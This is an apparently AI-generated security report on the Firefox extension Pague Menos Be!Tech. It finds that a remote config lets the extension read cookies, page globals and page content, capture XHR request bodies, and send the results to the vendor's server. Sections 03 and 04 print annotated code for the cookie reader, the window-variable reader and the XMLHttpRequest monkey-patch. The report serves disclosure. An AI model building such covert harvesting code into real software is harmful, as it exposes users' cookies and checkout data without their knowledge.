Is Pague Menos Be!Tech safe?

Medium risk

Pague Menos Be!Tech loads a remote config on every site that can send page content, page variables, and cookies to its own server.

On every website you visit, this extension downloads a store configuration from paguemenos.betechers.com.br that names specific values to collect from the page, such as text pulled from a script tag, a jQuery-matched element, a regex match against the page HTML, or a named JavaScript variable read directly out of the page's own memory. It also patches the page's XMLHttpRequest calls and can read cookies by name through the same injected bridge. Whatever values the remote config selects are bundled together and sent to paguemenos.betechers.com.br/send-flow.

BeTechv15.18.144Firefox Add-ons
45Risk
Who publishes it

BeTech - no other listings under this identity, 1 shared hostname

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
BeTech

Shared hosts - 1 hostname

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

paguemenos.betechers.com.br
Also called by 1 other listing: Pague Menos Be!Tech

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI FOUND

Server-picked page field, cookie, or global can be read and sent home

Code analysis shows a server-controlled config can make the extension read a CSS-selected value, an in-page script field, or any window variable, then send it to paguemenos.betechers.com.br.

No active flow was observed for this version.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You load any http or https page with the extension installed and active.

The content script runs on every site; the manifest does not limit it to partner retailers.

The extension did this

The extension asks its server whether this page has an active configuration, then extracts and sends whatever field the server names.

The named field can be a CSS-selected value, JSON in a script tag, a raw regex match, or any window variable, including one the extension did not create.

02EvidenceFIELD TABLE
Four field-extraction methods the server config can select
FieldValueWhy it matters
In-page script value
checkout.total (illustrative)Reads a JSON blob out of a script tag the server points to, then walks a server-supplied key path.
Any page-global variable
window.dataLayer[0].transactionId (illustrative)Reads window[name] for a variable name the server supplies, not limited to values the extension itself set.
Selected element text
#pedido-total text content (illustrative)Reads the visible text of any element the server points to by CSS selector.
Regex match on page HTML
first regex capture group (illustrative)Runs a server-supplied regular expression against the page's raw HTML and returns the match.
03EvidenceCODE COMPARE
The code that does this

The remote-config field resolver (index.js)

What it actually does
// isFlowActive(pageHtml, flow) - decides whether this page matches a
// server-defined "flow" and, if so, resolves its fields.
async function isFlowActive(pageHtml, flow) {
  if (!flow.ativo) return null;                    // server can toggle a flow on/off
  const urlPattern = new RegExp(flow.url, "i");
  return urlPattern.test(pageHtml) ? await resolveFields(flow) : null;
}

// resolveFields(flow) - walks every field the server listed, retrying up
// to 5 times (module-level counter) if under half resolve.
async function resolveFields(flow) {
  const fields = flow.data || [];
  const resolved = {};
  let total = 0, hits = 0;
  for (const field of fields) {
    total++;
    const value = await resolveOneField(field);
    resolved[field.nome] = value;
    if (value) hits++;
  }
  return (hits * 100 / total < 50 && retriesLeft) ? retryAfterDelay(flow) : resolved;
}

// resolveOneField(field) - the extraction dispatcher. `field` is an object
// the server sent in retrieve-store-data; exactly one of these four keys
// selects the method.
async function resolveOneField(field) {
  let value = null;
  if (field.script_selector) value = await readScriptTagJson(field);  // JSON in a <script> tag
  if (field.script_var)      value = await readPageGlobal(field);     // window[name], via the page bridge
  if (field.selector)        value = await readSelectorText(field);  // jQuery/Sizzle text
  if (field.regex)           value = await readRegexMatch(field);    // raw HTML regex match
  // value_regex / value_remove_rule / value_cast post-processing omitted here
  return value;
}

const readRegexMatch = (field) => runRegexTemplate(null, field.regex, field.regex_output);

// readScriptTagJson(field) - parses a <script> tag's JSON body located by
// a server-supplied CSS selector, then walks a server-supplied key path.
async function readScriptTagJson(field) {
  try {
    const tag = document.querySelector(field.script_selector);
    const json = JSON.parse(tag?.textContent || "");
    return getByPath(json, field.script_path);
  } catch { return null; }
}

// readPageGlobal(field) - asks the page-context bridge for window[name],
// where `name` is the server-supplied `script_var` string. Not limited to
// data the extension itself put there.
async function readPageGlobal(field) {
  const mode = field.script_btc_anatam;  // e.g. "find|key=value"
  let record = {};
  if (mode) {
    const [op, filter] = mode.split("|");
    if (op === "find") {
      const [key, expected] = filter.split("=");
      const candidates = await callPageBridge({ variableName: field.script_var });
      record = candidates.find(c => expected === undefined ? c[key] : c[key] == expected) || {};
    }
  }
  return getByPath(record, field.script_path);
}

// readSelectorText(field) - jQuery/Sizzle text extraction from any element.
async function readSelectorText(field) {
  const el = $(field.selector);
  return el.length ? el.first().text() : null;
}
04EvidenceCODE COMPARE
The code that does this

The page-context bridge: command dispatch, cookie reader, and XHR body capture (injection.js)

What it actually does
Command dispatch table (annotated)
// The page-side bridge listens for <ev> elements the content script
// appends to a hidden <evlist> node, keyed by a command name.
const commandTable = {
  clickElement:      simulateClick,
  scrollToElement:   scrollIntoView,
  readPageGlobal:    readWindowVariable,   // reads window[name]
  readCookieByName:  readCookieByName,     // reads document.cookie
  waitForElement:    waitForSelector
};

const handler = commandTable[command.name];

if (handler) {
  const args = JSON.parse(command.argsJson);
  handler(args).then(result => {
    const payload = (result && result.value) ? JSON.stringify(result.value) : 1;
    commandElement.setAttribute('result', payload);   // content script reads this back
  });
}
readWindowVariable (annotated)
// Reads an arbitrary global off the real page `window` object - not
// scoped to anything the extension itself defined.
function readWindowVariable({ name }) {
  return new Promise(resolve => {
    const value = window[name];
    resolve(value ? { value } : null);
  });
}
readCookieByName (annotated)
// Reads one cookie by name from the live page's document.cookie.
function readCookieByName({ name }) {
  return new Promise(resolve => {
    const pieces = `; ${document.cookie}`.split(`; ${name}=`);
    const value = pieces.length === 2 ? pieces.pop().split(';').shift() : null;
    resolve(value ? { value } : null);
  });
}
Always-on XHR body cache (annotated)
// Monkey-patches XMLHttpRequest on every page so that every request body
// sent by the PAGE (not the extension) is cached in a page-global object,
// keyed by the request URL, for later retrieval.
function installXhrBodyCapture() {
  const originalOpen = XMLHttpRequest.prototype.open;
  const originalSend = XMLHttpRequest.prototype.send;

  window.__capturedXhrBodies = {};

  XMLHttpRequest.prototype.open = function(method, url) {
    this.__requestUrl = url;
    originalOpen.apply(this, arguments);
  };

  XMLHttpRequest.prototype.send = function(body) {
    if (body) {
      window.__capturedXhrBodies[this.__requestUrl] = body;
    }
    originalSend.apply(this, arguments);
  };
}
installXhrBodyCapture();
05EvidenceOPAQUE REVEAL
Why you can't catch this in DevTools

Before the resolved value leaves the device, background.js base64-encodes it together with the visit history, then posts both as form fields.

What's actually being sent
{
  "store_id": "482",
  "flow": [
    { "ts": 1735219200, "type": "loc", "value": "https://www.example-store.com.br/checkout" },
    { "ts": 1735219215, "type": "act", "value": "click:btn-finalizar" }
  ],
  "values": {
    "checkout_total": "239,90",
    "session_id": "8f2b1e77-40ac-4d5a-9c88-6a9b0e4a2f31"
  }
} (illustrative - built from the shipped code path, not a captured request)
06EvidenceARTIFACT
Reproduce it yourself

Decodes the base64 flow (visit history) and values (resolved fields) fields from a captured send-flow POST body so you can read what was sent.

RequiresNode.js 18+
send-flow-decoder.js · js
// send-flow-decoder.js
// Decodes the `flow` and `values` form fields from a POST body captured
// at https://paguemenos.betechers.com.br/send-flow.
//
// Usage: node send-flow-decoder.js "<flow_base64>" "<values_base64>"

const [flowB64, valuesB64] = process.argv.slice(2);

function decode(b64, label) {
  if (!b64) {
    console.log(`${label}: (not provided)`);
    return;
  }
  const json = Buffer.from(b64, 'base64').toString('utf8');
  try {
    console.log(`${label}:`, JSON.stringify(JSON.parse(json), null, 2));
  } catch {
    console.log(`${label} (raw, not valid JSON):`, json);
  }
}

decode(flowB64, 'flow (visit history)');
decode(valuesB64, 'values (resolved fields)');
How to run it
  1. 1
    node send-flow-decoder.js "<flow_base64>" "<values_base64>"
07EvidenceTHIRD PARTY LIST
Where the resolved field and visit history are sent
  • paguemenos.betechers.com.br

    Vendor's own backend (Betechers). Serves the retrieve-store-data config and receives the store_id plus base64 visit history and resolved field values at send-flow.

08EvidencePLAIN NOTE
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What it can do

Permissions this extension asks for, as declared in version 15.18.144. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Sign you in with your Google account

    identity

Where it sends data

Destinations our analysis observed Pague Menos Be!Tech contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • paguemenos.betechers.com.br

    Pague Menos Be!Tech sends data to paguemenos.betechers.com.br. One other extension we have analysed sends data here.

Updated 30 September 2026amo-986732